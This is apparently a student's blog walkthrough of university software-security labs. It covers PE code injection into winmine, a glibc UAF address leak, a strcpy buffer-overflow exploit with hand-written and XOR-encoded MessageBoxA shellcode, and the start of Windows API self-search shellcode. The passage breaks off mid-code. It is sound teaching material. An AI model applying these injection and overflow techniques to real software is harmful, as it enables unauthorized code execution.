软件安全实验1-6详解


软件安全实验1-6详解

太喜欢这门课,而且是越写实验越好玩!找到了《软件安全:漏洞利用及渗透测试》这本书,其中有更多的实验,打算在之后的寒假慢慢补上。

或许也是想给学弟学妹留下点什么,就结合了一些班里同学问过我的一些问题或者可能会出问题的点,打算详细的把这个实验 是什么、为什么、怎么做告诉大家。

同时也希望大家在实验过程中有一些自己的思考和感悟,欢迎批评指正。

实验一:PE文件代码注入实验(winmine)

通过本实验,预期达到以下实验目的:

  1. 熟悉PE文件格式。

  2. 复习汇编语言常见指令。

  3. 学习查看,编辑,保存PE文件。

  4. 熟练使用LoadPE和OllyDbg调试工具。

一. 实验步骤

1. 首先了解PE文件格式:

查资料:PE 全称是 Portable Executable,即可移植的可执行文件,是 Windows 操作系统下可执行文件的总称,是用于存储可执行文件 (exe, scr)、动态链接库 (dll, oxc, cpl) 和驱动程序 (sys, vxd) 的标准文件格式。

PE 文件结构复杂而丰富,它包含了可执行文件的所有必要信息,以便操作系统正确加载和执行程序。

通过这个扫雷程序了解PE文件结构:
- DOS头(DOS Header+ DOSStub)

PE 文件的开头通常包含一个 DOS 头,用于向后兼容早期的 MS-DOS 操作系统,使得 DOS 识别出这是有效的执行体,然后运行紧随之后的是 DOS Stub

DOS Header 由一个 0x40 大小的 IMAGE_DOS_HEADER 结构体组成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE 文件头结构体
WORD e_magic; // 标识符,用于确认这是MZ格式的文件,值为0x5A4D
WORD e_cblp; // 文件中最后一个扇区的字节数
WORD e_cp; // 文件中的扇区总数
WORD e_crlc; // 重定位表中的条目数
WORD e_cparhdr; // 文件头的大小,以16字节为单位
WORD e_minalloc; // 程序加载时所需的最小额外内存段落数
WORD e_maxalloc; // 程序加载时所需的最大额外内存段落数
WORD e_ss; // 初始堆栈段选择子(段地址)
WORD e_sp; // 初始堆栈指针值
WORD e_csum; // 校验和,用于检验文件的完整性
WORD e_ip; // 初始指令指针(IP值)
WORD e_cs; // 初始代码段选择子(段地址)
WORD e_lfarlc; // 文件中重定位表的偏移量
WORD e_ovno; // 覆盖号,用于实现覆盖功能
WORD e_res[4]; // 保留字段,供未来使用
WORD e_oemid; // OEM标识符,用于特定于OEM的扩展
WORD e_oeminfo; // OEM信息,供OEM使用
WORD e_res2[10]; // 保留字段,供未来扩展使用
LONG e_lfanew; // 指向新EXE(PE)头的偏移量,从文件开始处计算
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

其中主要关注 e_magic 和 e_lfanew 这两个成员变量。e_magic 位于文件首,其值对应的 ASCII 为 MZ,标识该文件为可执行文件;e_lfanew 的值表示 PE 头的偏移地址

image-20250102110126597

DOS Stub 在多数情况下由汇编器/编译器自动生成,由代码和数据混合而成,大小不固定,在不支持 PE 文件格式的操作系统中,它将简单显示一个错误提示。不需要过多关注,在 Windows OS 下不会运行这部分代码,但在DOS环境中可以运行。

- NT

NT 头是 PE 文件的核心部分,也是 PE 头的一部分,包含了有关可执行文件的重要信息。PE 头的开始位置由 DOS 头中的 e_lfanew 字段指定。在 32 位下这个结构体由一个 0xf8 大小的 IMAGE_NT_HEADERS 结构体组成,该结构中包含了 PE 文件被载入内存时需要用到的重要域,该结构体的大小为0xf8字节,如下:

1
2
3
4
5
6
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature; // PE签名,0x4字节
IMAGE_FILE_HEADER FileHeader; // PE头,0x14字节
IMAGE_OPTIONAL_HEADER32 OptionalHeader; // PE可选头
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

image-20250102110145872

50 45 00 00 PE签名

4C 01 CPUMachine码

03 00 节区数目

0B 01 之后是可选头

0B 01可选头类型

21 3E 程序入口

指向程序入口RVA

0x10C 镜像基址

0x110 0x114对齐大小

0x120主子系统版本号

0x128镜像中内存大小

- 节表区:

*节表描述了 PE 文件中各个节的布局和属性,其位于 NT 头之后,也是 PE 头的最后一个部分:

*节区表记录了 PE 文件中所有节区的相关属性,节区表由一系列的 IMAGE_SECTION_HEADER 结构排列而成,每个结构用来描述一个节,结构的排列顺序和它们描述的节在文件中的排列顺序是一致的。全部有效结构的最后以一个空的 IMAGE_SECTION_HEADER 结构作为结束,所以节表中 IMAGE_SECTION_HEADER 结构数量等于节的数量加一。IMAGE_SECTION_HEADER 结构体大小为 0x28 字节

- PE 文件其余特定区域:

再继续往下便是真真正正的 text 节,data 节,rsrc 节。

一个典型的PE文件中包含的节如下:

(1).text:由编译器产生,存放着二进制的机器代码,也是我们反汇编和调试的对象。

(2).data: 初始化的数据块,如宏定义、全局变量、静态变量等。

(3).idata:可执行文件所使用的动态链接库等外来函数与文件的信息, 即输入表。

(4).rsrc: 存放程序的资源,如图标、菜单等。

除此以外,还可能出现的节包括“.reloc”、“.edata”、“.tls”、“.rdata”等。

# 数据目录表、导入表、导出表、资源表、重定位表、甚至还有其他自定义部分,如 TLS 表(线程局部存储表)、加载配置表 (Load Configuration Table) 等,这些部分包含了各种附加信息和配置…

image-20250102110154522image-20250102110159455

- 导入表&导出表

在 Windows 程序逆向中,我们能从这两个表中获取到许多非常重要信息

导入表(IAT表)

由于入口地址的不确定性,程序在不同的电脑上很有可能会出错,为了解决程序的兼容问题,操作系统就必须提供一些措施来确保程序可以在其他版本的Windows操作系统,以及DLL版本下也能正常运行。这时IAT表就应运而生了。

每个 exe 或者 dll 一般都会有它的导入表,记录了其自身会使用到的其他模块导出的函数。即记录调用了哪些模块 (dll),以及调用了它里面的哪些函数

导入表的意义是确定 PE 文件依赖哪个模块的哪个函数,以及确定模块加载进内存后具体函数的地址一个导入表的大小是 0x14 字节,

导入表跟导出表不同,导出表只有一个,里面有子表进行记录。而导入表是依赖每的一个模块都会有一个对应的导入表

导出表:记录导出符号的地址、名称、序号。一般来说需要提供功能的二进制程序(一般为 dll 文件)才会有导出表,可以通过导出表分析如下信息:

  1. 此动态链接库文件提供了什么功能
  2. 向调用者提供输出函数(供使用者调用的函数)在模块中的起始地址

导入表中需要重点关注的三个成员:

  • DUMMYUNIONNAME & FirstThunk
    这两个成员用于确定依赖的函数的名称。DUMMYUNIONNAME 指向 INT (导入名称表, Improt Name Table);FirstThunk 指向 IAT(导入地址表, Improt Address Table, 类似 elf 的 GOT 表)

image-20250102110208798

  • Name

用于确定依赖的模块的名字。记录一个 RVA 地址,指向依赖的模块的名字(如”xx.dll”)这个字符串

在逆向分析中,我们可以通过 dll 名和 dll 导出函数的名字得到这个函数的地址,当然也可以通过代码获取,有很多 API 可供我们进行调用,如下

  1. 通过 Loadlibrary(GetModelHandle) 将 dll 模块映射进内存并返回一个可以被 GetProcAddress 函数使用的句柄
  2. 利用 GetProcAddress 函数获得 dll 的加载地址,然后遍历导出表就可以得到函数地址
- 这里还需要提及的一个概念:虚拟内存:

* 在Windows系统中,在运行PE文件时,操作系统会自动加载该文件到内存,并为其映射出4GB的虚拟存储空间,然后继续运行,这就形成了所谓的进程空间。用户的PE文件被操作系统加载进内存后,PE对应的进程支配了自己独立的4GB虚拟空间。在这个空间中定位的地址称为虚拟内存地址(Virtual Address,VA)。

静态分析工具看到的PE文件中某条指令位置是相对于磁盘文件而言的,即所外的文件偏移。而动态调试时,我们才能知道这条指令在内存中所处的位置,即虚拟内存地址

PE文件地址和虚拟内存地址之间映射关系的几个重要概念:

  • 文件偏移地址(File Offset)

    数据在PE文件中的地址叫文件偏移地址,是文件在磁盘上存放时相对文件开头的偏移。

  • 装载基址(Image Base)

    PE装入内存时的基地址。默认情况下,EXE文件在内存中的基地址是0x00400000,DLL文件是0x10000000。这些位置可以通过修改编译选项更改。

  • 虚拟内存地址(Virtual Address, VA)

PE文件中的指令被装入内存后的地址。

  • 相对虚拟地址(Relative Virtual Address, RVA)

相对虚拟地址是内存地址相对于映射基址的偏移量。

一个很重要的概念!!下一个实验也用到了:

在默认情况下,一般PE文件的0字节将对映射到虚拟内存的0x00400000位置,这个地址就是所谓的装载基址(Image Base)。

文件偏移是相对于文件开始处0字节的偏移,RVA(相对虚拟地址)则是相对于装载基址0x00400000处的偏移。由于操作系统在进行装载时“基本”上保持PE中的各种数据结构,所以文件偏移地址和RVA有很大的一致性。

之所以说“基本”上一致是因为还有一些细微的差异。这些差异是由于文件数据的存放单位与内存数据存放单位不同而造成的。

(1)PE文件中的数据按照磁盘数据标准存放,以0x200字节为基本单位进行组织。当一个数据节(section)不足0x200字节时,不足的地方将被0x00填充:当一个数据节超过0x200字节时,下一个0x200块将分配给这个节使用。因此PE数据节的大小永远是0x200的整数倍。

(2)当代码装入内存后,将按照内存数据标准存放,并以0x1000字节为基本单位进行组织。类似的,不足将被补全,若超出将分配下一个0x1000为其所用。因此,内存中的节总是0x1000的整数倍。

2. 汇编常见指令

在汇编语言中,主要有以下几类类寄存器:

·4个数据寄存器(EAX、EBX、ECX和EDX)

·2个变址寄存器(ESI和EDI) 2个指针寄存器(ESP和EBP)

·6个段寄存器(ES、CS、SS、DS、FS和GS)

·1个指令指针寄存器(EIP) 1个标志寄存器(EFlags)

3. 实验操作:

检查程序加壳情况:

image-20250102110219735

用OllyDBG打开扫雷程序:

image-20250102110224098

程序停在了0x01003E21的位置,这个就是程序的入口点。同样也可以通过LordPE,得知程序RVA为0x01003E21,同样可以看到装载基址是0x01000000(这里可以看出扫雷程序是C++编写);右侧寄存器EIP值0x01003E21后标识ModuleEntryPoint!

image-20250102110229117

往下翻可以看到相关的导入表动态连接库及其相关函数信息:

image-20250102110234157

往下翻可以看到大量空白代码区域,这段区域.data是代码区,如果我们在这里植入代码,再修改PE文件跳转入口,可以实现相关的植入代码执行

我们看MessageBox:
image-20250102110239218

以下我们编辑注入代码:

因为我们选择的A类函数,我们直接编辑db类型的ascii码即可,输入后按A分析。

我们可以注意到,每行语句后都留有00,因为字符串后面是需要结束符0x00的。

题目要求弹框后进入正常运行,所以我们需要先调用弹窗函数,再跳转到一开始的程序入口位置。

在输入汇编指令call MessageBoxA、jmp start后能直接识别,是因为PE文件中已经有这个函数的相关分析,直接引用。

下面是修改后的状态:

image-20250102110246160

PEeditor修改程序入口为0x1004ABF,注入成功!

image-20250102110251380image-20250102110257267

点击保存,运行程序,弹出弹窗,运行程序。

image-20250102110302765

如果用IDA修改:

image-20250102110308766

查壳

首先在数据段找一段空白处插入字符串:

image-20250102110314365

找一段有可执行权限的内存注入指令,调用 call MessageBoxA 需要通过动态调试查看相应函数在动态链接库的地址

很糟糕,动调也没看到这个函数:(运行环境win11)

image-20250102110320440

这里我们改用MessageBoxW,unicode输入:

*+长度可以定义dw长度:

image-20250102110325088

像刚刚ollygbd里一样修改:image-20250102110330240

记录程序入口01005403(修改刚刚的rva

这里我们用010editor直接修改程序入口点

image-20250102110344041

实验二:基于UAF漏洞泄漏glibc基地址实验

程序编译开启了随即地址保护,为了使前后一致,都使用的同一次实验截图

这里是运行源代码:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char *p = malloc(0x80); //这里*p是申请的堆的地址 的地址
printf("p = %p\n", p); //print申请的堆地址 的地址
free(p);
printf("*p = %p\n",*(void **)p); //print 申请的堆地址的地址
printf("main_arena=%p\n",*(void **)p-88);
printf("libc base=%p\n",*(void **)p–880x3c4b20);
return 0;
}

运行即可得到:

1
2
3
4
p = 0x1b5b010 
*p = 0x7f5a925c4b78
main_arena = 0x7f5a925c4b20
libc base = 0x7f5a92200000

如何正确运行:

实验要求:64位Ubuntu 16.04操作系统,glibc-2.23.

因为不同的可执行文件对于libc版本有不同的要求,为了不用遇到一个类型的libc装一个类型的libc,这里用glibc-all-in-one工具进行版本管理
(如果只做这一次实验,推荐是直接装glibc2.23)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali㉿kali)-[~/glibc-all-in-one]
└─$ cat list
2.23-0ubuntu11.3_amd64
2.23-0ubuntu11.3_i386
2.23-0ubuntu3_amd64
2.23-0ubuntu3_i386
2.27-3ubuntu1.5_amd64
2.27-3ubuntu1.5_i386
2.27-3ubuntu1.6_amd64
2.27-3ubuntu1.6_i386
2.27-3ubuntu1_amd64
2.27-3ubuntu1_i386
2.31-0ubuntu9.16_amd64
2.31-0ubuntu9.16_i386
2.31-0ubuntu9_amd64
2.31-0ubuntu9_i386
2.35-0ubuntu3.8_amd64
2.35-0ubuntu3.8_i386
2.35-0ubuntu3_amd64
2.35-0ubuntu3_i386
2.37-0ubuntu2.2_amd64
2.37-0ubuntu2.2_i386
2.37-0ubuntu2_amd64
2.37-0ubuntu2_i386
2.38-1ubuntu6.3_amd64
2.38-1ubuntu6.3_i386
2.38-1ubuntu6_amd64
2.38-1ubuntu6_i386
2.39-0ubuntu8.3_amd64
2.39-0ubuntu8.3_i386
2.39-0ubuntu8_amd64
2.39-0ubuntu8_i386
2.40-1ubuntu1_amd64
2.40-1ubuntu1_i386

┌──(kali㉿kali)-[~/glibc-all-in-one]
└─$ ./download 2.23-0ubuntu11.3_amd64
Getting 2.23-0ubuntu11.3_amd64
--> Downloaded before. Remove it to download again.

接着用patchelf修改本地程序链接libc版本:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Desktop]
└─$ patchelf --set-rpath /home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ test

┌──(kali㉿kali)-[~/Desktop]
└─$ patchelf --set-interpreter /home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so test

┌──(kali㉿kali)-[~/Desktop]
└─$ ./test
p = 0x1b5b010
*p = 0x7f5a925c4b78
main_arena = 0x7f5a925c4b20
libc base = 0x7f5a92200000

如何快速证明main_arena和libc_base输出是正确的位置:

libc_base:

这里我是用IDA远程连接kali动态调试:

此时我们点击malloc函数 跳入函数调用表 再点击进入libc函数 最后点击就是malloc函数的位置

image-20241222191930083

往上翻可以看到libc_base地址 0x7f5a92200000

image-20241222192014019

main_arena:

main_arena中布局为 88位 ,第一个申请的unsorted的堆的位置-0x88就是main_arena位置


对每一块的解释

以下是对每一块我不理解的东西的一些解释,探索过程是从后往前的,但是解释是从前往后的,所以最后一块写了很多多余的东西,找到自己想知道的就行。

为什么要申请0x80大小的malloc:

一个快速的了解堆:堆漏洞挖掘中的bins分类(fastbin、unsorted bin、small bin、large bin)

一个极致详细的了解堆:[glibc heap——从入门到入土 ](http://jmpcliff.top/2124/04/21/Blog/Pwn/pwn note/glibc-heap/glibc heap从入门到入土/)

fastbins为单链表存储。unsortedbin、smallbins、largebins都是双向循环链表存储。

free掉的chunk,如果大小在0x20~0x80之间会直接放到fastbins上去,大于0x80的会放到unsortedbin上,然后进行整理。

我们要利用这个双向循环列表的unsorted特性,来对UAF进行实验,这就是为什么选择申请0x80的大小

为什么要找main_arena的位置

UAF——Use after free(Use After Free - CTF Wiki)

程序在创建堆的时候是会调用__malloc_hook的,这里如果我们将这个hook的指向地址替换为可控制的程序函数地址就可以执行我们需要的shellcode,所以我们需要定位__malloc_hook,而在libc-2.23中,hook的位置是main_arena的位置减0x10

怎么找到Main_arena位置呢/为什么-88?

首先我们需要知道什么是arena:

这篇博客写的很清楚:什么是Arena

管理堆的部分程序称为堆管理器,堆管理器处于用户程序与内核中间,其工作为malloc和free(分配和回收堆空间)

堆的glibc实现包括struct _heap_info,struct malloc_state,struct malloc_chunk这3个结构体。

Arena就是来管理线程中这些堆的信息

一个线程只有一个arena,并且这些线程的arnea都是独立的不是相同的。主线程的arnea称为main_arena,相对子线程为thread_arena

Arena实现的struct malloc_state:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex); //mutex锁 //4字节

/* Flags (formerly in max_fast). */
int flags; //4字节
//##########8字节############
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];// 看代码下面的解释1 一共80字节
//##########88字节############
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top; //8字节

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;//8字节
//##########96字节############
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2]; //<---这里是我们存入的点 //看下面解释2

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
解释1

要求mfastbinptr fastbinsY[NFASTBINS];

image-20241222231212774

先求MAX_FAST_SIZE,进入SIZE_SZ

image-20241222231144255

SIZE_SZ为8字节,所以这时候MAX_FAST_SIZE就是0xA0

image-20241222231026224

request2size(0xA0)//将需求size转换为申请的chunk_size–> 0xB0

fastbin_index(0xB0)+1 —> 0xB-2+1=0xA

image-20241222231454155

一个int8字节,0xA*8 = 0x50

image-20241222231722937

解释2
1
2
3
4
5
6
7
8
  /* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top; //8字节

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;//8字节
//##########96字节############
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

[关于bins中的1mol东西](http://jmpcliff.top/2124/04/21/Blog/Pwn/pwn note/glibc-heap/glibc heap从入门到入土/#bins数组)

为什么减0x3c4b20?

知道了刚刚那些奇奇怪怪的东西,自然也就知道为什么了。

以下是刚拿到这个代码时提出的问题,在逆向探究时候,部分解释根据逻辑顺序放到了上面。

先定位libc-2.23中的0x3C4B20位置,看看有什么:

image-20241222202458997

欸?上面怎么是malloc_hook呢?而且只差了0x10的偏移,搜搜malloc_hook 研究.

文中指出,__malloc_hook是glibc定义的一组变量,即函数指针,由此去调用对应的函数,所以称为hook,在运行的程序中(也只有运行中的程序才能看到,因为堆是动态分配)也能看到,

image-20241222202727214

我们反编译libc-2.23.so文件,对照着看:

先来到*p的地址,因为我们开辟了0x80大小的位置,所以不会在fastbin中分配(fastbin大小为0x58,也就是80)

char *p = malloc(0x80);

malloc的行为——malloc 函数返回对应大小字节的内存块的指针,所以*p是这个堆的地址

image-20241222201326842

以上是我对UAF实验中这段代码和代码行为的全部问题与探索。

整点好玩儿的UAF-pwn题

[NISACTF 2022]UAF

看到backdoor!但这个后门函数没有被调用,所以我们在传入sh之后还需要调用这个函数

image-20250102222043139

page[0]不可写,这就要利用UAF来绕过对page 0写的限制:

申请page 0后释放,再申请page 1,此时获得的指针还是指向之前分配给的page 0

修改page 0中的内容,show展示page 0,即可调用通过payload篡改的地址,即后门函数,getshell!

image-20250102224910622image-20250102225125722

后话

结束!爽了!彻底搞清楚了!!!!!从吃饭回来到0点!

(鞠躬!

感谢Jmp.Cliff师傅对struct malloc_state的超详细解读和队友对于我各种奇怪的问题的解答)

实验三:Shellcode编写实验

一. 实验环境

Windows XP操作系统。

二. 实验目的

基于给定的示例程序:

  1. 分析代码并理解存在的缓冲区溢出漏洞

  2. 编写shellcode利用发现的缓冲区溢出漏洞实现一个弹出对话框的功能

三. 实验步骤

弄清楚程序有几个输入点,这些输入将最终会当作哪个函数的第几个参数读入到内存的那一个区域,哪一个输入会造成栈溢出,在复制到栈区的时候对这些数据有没有额外的限制等。调试之后还要计算函数返回地址距离缓冲区的偏移并淹没之,选择指令的地址,最终制作出一个有攻击效果的“承载”着shellcode的输入字符串。

这里分析上课提到的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <windows.h>
#define REGCODE "12345678"
int verify (char * code)
{
int flag;
char buffer[44];
flag=strcmp(REGCODE, code);
strcpy(buffer, code);
return flag;
}
void main()
{
int vFlag=0;
char regcode[1024];
FILE *fp;
LoadLibrary("user32.dll");
if (!(fp=fopen("reg.txt","rw+")))
exit(0);
fscanf(fp,"%s", regcode);
vFlag=verify(regcode);
if (vFlag)
printf("wrong regcode!");
else
printf("passed!");
fclose(fp);
}

分析程序代码是否存在漏洞,若存在则

如何利用漏洞实现执行任意代码(例如弹出一个对话框)?

Verify函数的缓冲区44个字节,拿过来上课的ppt中栈帧结构,改一下:

img

可以看到这里的漏洞在strcpy

为了能覆盖返回地址,需要在reg.txt中至少写入:buffer(44字节)+flag(4字节)+前EBP值(4字节),也就是53-56字节才是要淹没的地址。

MessageBox在第一次实验报告中简单的提及,这里说汇编语言调用MessageBoxA的步骤:

(1)装载动态链接库user32.dll。MessageBoxA是动态链接库user32.dll的导出函数。虽然大多数有图形化操作界面的程序都已经装载了这个库,但是我们用来实验的consol版并没有默认加载它。

(2)在汇编语言中调用这个函数需要获得这个函数的入口地址。

(3)在调用前需要向栈中按从右向左的顺序压入MessageBoxA的4个参数。

为了让植入的机器代码更加简洁明了,我们在实验准备中构造漏洞程序的时候已经人工加载了user32.dll这个库,所以第一步操作不用在汇编语言中考虑。

第一步:获得函数入口地址

有两种方式,第一是根据工具和偏移来计算函数入口(user32.dll 的基地址为0x77D10000,MessageBoxA的偏移地址为0x000407EA。基地址加上偏移地址就得到了MessageBoxA函数在内存中的入口地址:0x 77D507EA。);另一个方法,使用代码来获取相关函数地址,在C/C++语言中,GetProcAddress函数检索指定的动态链接库(DLL)中的输出库函数地址。如果函数调用成功,返回值是DLL中的输出函数地址。函数原型如下:

1
2
3
4
FARPROC GetProcAddress(
HMODULE hModule, // DLL模块句柄
LPCSTR lpProcName // 函数名
);

参数hModule包含此函数的DLL模块的句柄。LoadLibrary、AfxLoadLibrary或者GetModuleHandle函数可以返回此句柄。参数lpProcName是包含函数名的以NULL结尾的字符串,或者指定函数的序数值。如果此参数是一个序数值,它必须在一个字的低字节,高字节必须为0。FARPROC是一个4字节指针,指向一个函数的内存地址,GetProcAddress的返回类型就是FARPROC。如果你要存放这个地址,可以声明以一个FARPROC变量来存放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <windows.h>
#include <stdio.h>
int main()
{
HINSTANCE LibHandle;
FARPROC ProcAdd;
LibHandle = LoadLibrary("user32");
//获取user32.dll的地址
printf("user32 = 0x%x \n", LibHandle);
//获取MessageBoxA的地址
ProcAdd=(FARPROC)GetProcAddress(LibHandle,"MessageBoxA");
printf("MessageBoxA = 0x%x \n", ProcAdd);
getchar();
return 0;
}

运行上述代码后,同样可以得到MessageBoxA函数在内存中的入口地址:0x77D507EA。

img

对应汇编代码

参考ppt里的函数调用汇编代码:
img

1
2
3
4
5
6
7
8
9
10
Shellcode( push 0的机器码会出现0x00,会造成字符串读取截断。)
_asm{
xor ebx,ebx
push ebx
push ebx
push ebx
push ebx
mov eax,0x77d507ea
call eax
}

机器码:(右下角)

img

img

拿出来,换个格式,很好的替换方法:

img

机器码

shellcode = \x33\xDB\x53\x53\x53\x53\xB8\xEA\x07\xD5\x77\xFF\xD0

img

验证机器代码

可以运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_asm
{
xor ebx,ebx
push ebx
push 0x797978
mov eax, esp
push ebx
push eax
push eax
push ebx
mov eax, 0x77d507ea
call eax
}
return 0;
}

img

接下来就可以利用这个Shellcode来实现漏洞的利用了。

自己编写调用Messagebox输出自定义字符的Shellcode:

根据以上操作,继续

\x33\xDB\x53\x68\x78\x79\x79\x00\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0

img

img

神奇。

**加密shellcode **

这里使用异或编码

有些需要注意:在选取编码字节时,不可与已有字节相同,否则会出现0。

img

  • 很好的和0x07异或,orz哭了

img

加密后shellcode:

\x3B\xD3\x5B\x60\x70\x71\x71\x08\x83\xCC\x5B\x58\x58\x5B\xB0\xE2\x0F\xDD\x7F\xF7\xD8

动态调试看程序在返回时,需要跳转的位置:

img

往后执行,跳转到高亮的后一个单位0x4012C9,所以需要 ret+1

img

跳过来了

img

img

这里是增加了一个变量int length,导致ret距离main多4字节,也可如图中所示代码修改:

img

Ppt中有提到,直接将shellcode写为 “加密的指令和解密代码的汇编”,感觉会比我的操作更简单一点:

运行抓到如下程序的机器码:

img

image-20250102110456835

实验四:API自搜索技术

一. 实验环境

Windows10操作系统。

二. 实验目的

\1. 掌握ASLR安全防护机制;

\2. 掌握API自搜索技术;

\3. 学会在Windows10环境下弹出对话框需要的步骤。

三. 实验步骤

ASLR安全防护机制:

ASLR是地址空间分布随机化的简称,通过将系统关键地址随机化,使得之前硬编码shellcode失效。Shellcode需要调用一些系统函数才能实现系统功能达到攻击目的,而这些函数地址一般为 系统dll、可执行文件本身、栈数据或者PEB(进程环境块)中固定调用地址

在Windows Vista上,当程序启动将执行文件加载到内存时,操作系统通过内核模块提供的ASLR功能,在原来映像基址的基础上加上一个随机数作为新的映像基址。随机数的取值范围限定为1至254,并保证每个数值随机出现。

ASLR通过增加随机偏移,使得很多攻击变得非常困难。但是,ASLR技术存在很多脆弱性,包括:

(1)为了减少虚拟地址空间的碎片,操作系统把随机加载库文件的地址限制为8位,即地址空间为256,而且随机化发生在地址前两个最有意义的字节上;

(2)很多应用程序和DLL模块并没有采用/DYNAMICBASE的编译选项;

(3)很多应用程序使用相同的系统DLL文件,这些系统DLL加载后地址就确定下来了,对于本地攻击,攻击者还是很容易就能获得所需要的地址,然后进行攻击。

针对这些缺陷,还有一些其他绕过方法,比如攻击未开启地址随机化的模块(作为跳板)(利用ESP寄存器特性,返回地址动态定位)、堆喷洒技术(slide code-noooop)、部分返回地址覆盖法等。

API自搜索技术

随着系统版本的变化,很多函数的地址也会随之变化,之前我们采用硬编址的方式来调用API函数,可能调用就失效了,这里我们编写shellcode必须具备动态的自动搜索所学的API函数地址能力,这个就是API自搜索技术。

·MessageBoxA位于user32.dll中,用于弹出消息框。

·ExitProcess位于kernel32.dll中,用于正常退出程序。所有的Win32程序都会自动加载ntdll.dll以及kernel32.dll这两个最基础的动态链接库。

·LoadLibraryA位于kernel32.dll中,并不是所有的程序都会装载user32.dll,所以在调用MessageBoxA之前,应该先使用LoadLibrary(“user32.dll”)装载user32.dll

这里是通用型shellcode编写的步骤:(老师上课的ppt)

image-20250102111059012

难点主要在1-3步,

第一步:定位kernel32.dll位置:

image-20250102111106538

Ppt中的这个图可以更直观的理解这个流程:
image-20250102111121227

如下代码来实现:

1
2
3
4
5
6
7
8
9
10
11
int main()
{ _asm
{
mov eax, fs:[0x30] ;PEB的地址
mov eax, [eax + 0x0c] ; PEB_LDR_DATA结构体的地址
mov esi, [eax + 0x1c] ; 指针InInitializationOrderModuleList
lodsd
mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址
}
return 0;
}

image-20250102111157457

获得kernel32.dll的基地址:0x76530000

第二步:定位kernel32.dll的导出表

找到了kernel32.dll,由于它也是属于PE文件,那么我们可以根据PE文件的结构特征,定位其导出表,进而定位导出函数列表信息,然后进行解析、遍历搜索,找到我们所需要的API函数。

定位导出表及函数名列表的步骤如下:

(1)从kernel32.dll加载基址算起,偏移0x3c的地方就是其PE头的指针。

PE头偏移0x78的地方存放着指向函数导出表的指针。

(2)获得导出函数偏移地址(RVA)列表、导出函数名列表:

①导出表偏移0x1c处的指针指向存储导出函数偏移地址(RVA)的列表。

②导出表偏移0x20处的指针指向存储导出函数函数名的列表。

同样使用ppt中的流程图:
image-20250102111207494

定位kernel32.dll导出表及其导出函数名列表的代码如下:

1
2
3
4
5
6
mov    ebp, eax             //将kernel32.dll基地址赋值给ebp
mov eax,[ebp+0x3C] //dll的PE头的指针(相对地址)
mov ecx,[ebp+eax+0x78] //导出表的指针(相对地址)
add ecx,ebp //ecx=0x78C00000+0x262c 得到导出表的内存地址
mov ebx,[ecx+0x20] //导出函数名列表指针
add ebx,ebp //导出函数名列表指针的基地址

image-20250102111229603

dll的PE头的指针(相对地址):EAX = 000000F0

导出表的指针(相对地址):ECX = 0022D3E0 //导出表

导出表的内存地址:ECX = 7675D3E0

RVA列表:0x0022D408

image-20250102111237249

导出函数名列表指针:EBX = 0022F32C

image-20250102111243279

导出函数名列表指针的基地址:EBX = 7675F32C

image-20250102111249877

第三步 搜索定位目标函数

至此,可以通过遍历两个函数相关列表,算出所需函数的入口地址:

(1)函数的RVA地址和名字按照顺序存放在上述两个列表中,我们可以在名称列表中定位到所需的函数是第几个,然后在地址列表中找到对应的RVA。

(2)获得RVA后,再加上前边已经得到的动态链接库的加载地址,就获得了所需API此刻在内存中的虚拟地址,这个地址就是最终在ShellCode中调用时需要的地址。

按照这个方法,就可以获得kernel32.dll中的任意函数。

kernel32.dll基地址0x76530000 +函数地址偏移量0x001c9298 =LoadLibraryA函数地址0x766F9298

书中有一张图,和课堂ppt一样,贴过来:
image-20250102111325450

为了让shellcode更加通用,能被大多数缓冲区容纳,总是希望shellcode尽可能短。因此,一般情况下并不会“MessageBoxA”等这么长的字符串去进行直接比较。所以会对所需的API函数名进行hash运算,这样只要比较hash所得的摘要就能判定是不是我们所需的API了。使用的hash算法如示例5-10所示。

压缩函数名的hash算法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
DWORD digest=0;
while(*fun_name)
{
digest=((digest<<25)|(digest>>7)); //循环右移7位
